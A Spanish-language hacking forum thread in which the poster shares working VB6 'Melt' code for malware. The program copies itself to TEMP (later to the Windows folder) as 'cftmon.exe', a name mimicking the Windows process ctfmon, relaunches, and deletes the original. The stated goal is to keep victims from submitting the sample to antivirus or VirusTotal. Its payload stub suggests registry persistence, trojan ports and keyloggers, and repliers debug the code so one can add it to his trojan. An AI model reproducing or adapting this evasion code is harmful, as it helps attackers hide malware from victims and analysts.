Bueno, aquí otro de mis mini códigos para hacer "Melt" en VB6, pero antes... ¿que significa "Melt"?
Definición
Se llama "Melt" cuando un usuario ejecuta un archivo y este desaparece (se auto-elimina) después de ejecutarse, esta función es necesaria para evitar que nuestra víctima ejecute 2 veces nuestro malware o evitar que la victima lo envíe a un Antivirus o a virustotal después de ejecutarlo, su estructura es...
1) Ejecuto el archivo (A)
2) El archivo (A) se copia en otro lugar (B)
3) El archivo (A) ejecuta el archivo (B)
4) El archivo (B) borra el archivo (A)
5) El archivo (B) sigue ejecutando el resto de malware...
Como he dicho, esto es ideal para evitar que existan 2 procesos iguales abiertos en el sistema (para evitar que nuestro keylogger sea ejecutado 2 veces, o nuestro troyano intente escuchar 2 veces por el mismo puerto, etc). Así también evitas que la víctima envíe el archivo a un análisis después de ejecutarlo xD
Aquí el código:
Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
Sub Main()
'Obtenemos el nombre de nuestro ejecutable
MyName = App.EXEName
'Comprobamos si nos llamamos CTFMON
If LCase(App.EXEName) = "cftmon" Then
Call Execute
Else
Call MeltFile
End If
End Sub
Function Execute()
'Función que se encarga de borrar el archivo original a partir
'de su ruta. Al terminar ejecuta el PayLoad
On Error Resume Next
If Not IsEmpty(Command$) Then 'Verificamos si tenemos algo en los argumentos
While Dir(Command$) <> "" 'Comprobamos si existe el archivo que tenemos en los argumentos
Kill Command$ ' Si existe... lo borramos
DoEvents ' Esperamos un poco
Wend 'Bucle
End If
Call PayLoad 'Ejecutamos el resto del Malware
End Function
Function MeltFile()
'Función que copia el propio Malware en la carpeta TEMP del sistema
'con el nombre de cftmon.exe. Ejecuta luego el archivo enviando como
'argumento su propia ruta.
Dim MySelf As String
MySelf = String$(255, Chr$(0))
GetModuleFileName 0, MySelf, Len(MySelf) 'Devuele la ruta correcta de tu aplicación
FileCopy MySelf, Environ("TMP") & "\cftmon.exe" 'Nos copiamos en "TEMP\cftmon.exe"
DoEvents 'Esperamos...
Shell Environ("tmp") & "\cftmon.exe " & MySelf 'Ejecutamos "TMP\cftmon.exe" + Ruta de tu aplicación
End 'Finalizamos (importante! xD)
End Function
Function PayLoad()
'Aqui incluimos el resto de código de tu Malware...
'Recomiendo llamar ahora a la función de AddToRegedit() para añadir la
'aplicación con el Melt (cftmon.exe) al registro, abrir el puerto del troyano
'activar el keylogger o lo que quieras programar :P
MsgBox "Si estas leyendo esto es que tu aplicación ha hecho MELT y se ha borrado el archivo original, :P", vbInformation, "Melt in VB6"
End
End Function
Si quieres evitar que tu aplicación sea ejecutada 2 veces también puedes crearte un MuteX, pero la función "Melt" hace lo mismo que el MuteX y encima borra el archivo original (para evitar análisis de AV's).
Saludos!! (Espero comentarios!!)
Codigo fuente adjunto al post (solo usuarios registrados)
jajaja muy bueno, no sabía que se llamaba "Melt" xD
Hace tiempo hice algo parecido, el mio movia el archivo a la carpeta que más tiempo llevaba sin modificarse xD
Muy bueno,para evitar que se ejecute dos veces tu programa no seria mejor en el form_load:
If app.previnstance=true then
end
end if
Pero para un troyano es muy util para el server.
Saludos.
Ese cñodigo no sirve mucho, me explico:
If App.PrevInstance = True Then
End
End If
Esto lo guardo como "hola.exe" y lo ejecuto. Ahora copio "hola.exe" como "adios.exe" y lo ejecuto.
Tendré el hola.exe y el adios.exe ejecutados simultaneamente. Esto se arregla con un MuteX o con Melt
esta bueno el codigo.... gracias ;D ;D ;D ;D
Es cierto ||MadAntrax||,ya decia yo que no seria asi.
jaja...
yo tb hice uno parecido sin saber q tenia nombre ya... XD
el mio en vez de comprobar q nombre tenia verificaba la ruta... si esta estaba en windows se conectaba... si no se copiaba a windows y lo ejecutaba...
lo de borrar no se me habia ocurrido pero es buena idea tb ;)
Muy weno ;)
wenisimo!!!
aora mismo lo pongo en mi troyano!
muy util gracias!!!
alguien sabe como hacer para que en ves que se copie a la carpeta temp, se copie a la de windows??? ai alguna variable en vb q contenga el directorio de windows??? hasta donde yo se, para system32 hai que declarar mucho.. me contaron que para la carpeta de windows no, alguien sabe??
MsgBox Environ("windir")
asi me lo paso EON ;)
y funciona
Gracias!!!
hm.. aora que me doi cuenta, me da error el melt! :-(
esto puse en code
private sub form_load()
call main
end sub' puse esto ademas de mi code, que no publico porque quedaria mui largo
Sub Main()
'Obtenemos el nombre de nuestro ejecutable
MyName = App.EXEName
'Comprobamos si nos llamamos CTFMON
If LCase(App.EXEName) = "cftmon" Then
Call Execute
Else
Call MeltFile
End If
End Sub
Function Execute()
'Función que se encarga de borrar el archivo original a partir
'de su ruta. Al terminar ejecuta el PayLoad
On Error Resume Next
If Not IsEmpty(Command$) Then 'Verificamos si tenemos algo en los argumentos
While Dir(Command$) <> "" 'Comprobamos si existe el archivo que tenemos en los argumentos
Kill Command$ ' Si existe... lo borramos
DoEvents ' Esperamos un poco
Wend 'Bucle
End If
Call PayLoad 'Ejecutamos el resto del Malware
End Function
Function MeltFile()
'Función que copia el propio Malware en la carpeta TEMP del sistema
'con el nombre de cftmon.exe. Ejecuta luego el archivo enviando como
'argumento su propia ruta.
Dim MySelf As String
MySelf = String$(255, Chr$(0))
GetModuleFileName 0, MySelf, Len(MySelf) 'Devuele la ruta correcta de tu aplicación
FileCopy MySelf, Environ("windir") & "\cftmon.exe" 'Nos copiamos en "TEMP\cftmon.exe"
DoEvents 'Esperamos...
Shell Environ("windir") & "\cftmon.exe " & MySelf 'Ejecutamos "TMP\cftmon.exe" + Ruta de tu aplicación
End 'Finalizamos (importante! xD)
End Function
Function PayLoad()
'Aqui incluimos el resto de código de tu Malware...
'Recomiendo llamar ahora a la función de AddToRegedit() para añadir la
'aplicación con el Melt (cftmon.exe) al registro, abrir el puerto del troyano
'activar el keylogger o lo que quieras programar :P
MsgBox "Si estas leyendo esto es que tu aplicación ha hecho MELT y se ha borrado el archivo original, :P", vbInformation, "Melt in VB6"
End
End Function
hay algo que ise mal?
Te falta la declaración de la API, no?
Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
si la tengo...
pero al principio me salia que MyName, no estaba declarado... asique lo declare como string.. o esta mal??=S
Mira si tienes esta línea en tu proyecto y borrala:
Option Explicit
Si no, dinos en qe linea te peta y que error te devuelve!
no esta...
se me avia olvidado ponerlo en un modulo, aora lo ise i me apunta a:
GetModuleFileName
i me dise procedimiento sub o function no definido..
me di cuenta de mi error.. me falto una linea ¬¬
pero ahora me sale otro =S
si lo ejecuto sale este error:
Error '91' en tiempo de ejecución:
La variable de tipo Object o la variable de bloque With no está establecida
alguien me puede decir que estoy asiendo mal porfavor!?
les adjunto el code para que vean lo que hice
Dentro del Form1, (form principal)
call Main 'para llamar a la funcion
'i el resto de mi code, que no pongo, para que no se alarge tanto
Dentro de Module1
Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
Sub Main()
'Obtenemos el nombre de nuestro ejecutable
MyName = App.EXEName
'Comprobamos si nos llamamos CTFMON
If LCase(App.EXEName) = "cftmon" Then
Call Execute
Else
Call MeltFile
End If
End Sub
Function Execute()
'Función que se encarga de borrar el archivo original a partir
'de su ruta. Al terminar ejecuta el PayLoad
On Error Resume Next
If Not IsEmpty(Command$) Then 'Verificamos si tenemos algo en los argumentos
While Dir(Command$) <> "" 'Comprobamos si existe el archivo que tenemos en los argumentos
Kill Command$ ' Si existe... lo borramos
DoEvents ' Esperamos un poco
Wend 'Bucle
End If
Call PayLoad 'Ejecutamos el resto del Malware
End Function
Function MeltFile()
'Función que copia el propio Malware en la carpeta TEMP del sistema
'con el nombre de cftmon.exe. Ejecuta luego el archivo enviando como
'argumento su propia ruta.
Dim MySelf As String
MySelf = String$(255, Chr$(0))
GetModuleFileName 0, MySelf, Len(MySelf) 'Devuele la ruta correcta de tu aplicación
FileCopy MySelf, Environ("windir") & "\cftmon.exe" copia a windows en ves de Temp
DoEvents 'Esperamos...
Shell Environ("windir") & "\cftmon.exe " & MySelf 'Ejecutamos "windows\cftmon.exe" + Ruta de tu aplicación
End 'Finalizamos (importante! xD)
End Function
Function PayLoad()
'Aqui incluimos el resto de código de tu Malware...
'Recomiendo llamar ahora a la función de AddToRegedit() para añadir la
'aplicación con el Melt (cftmon.exe) al registro, abrir el puerto del troyano
'activar el keylogger o lo que quieras programar :P
MsgBox "Si estas leyendo esto es que tu aplicación ha hecho MELT y se ha borrado el archivo original, :P", vbInformation, "Melt in VB6"
End
End Function
no es problema de Shell Environ("windir"), lo he revisado y esta bien.. me sale lo mismo si pongo tmp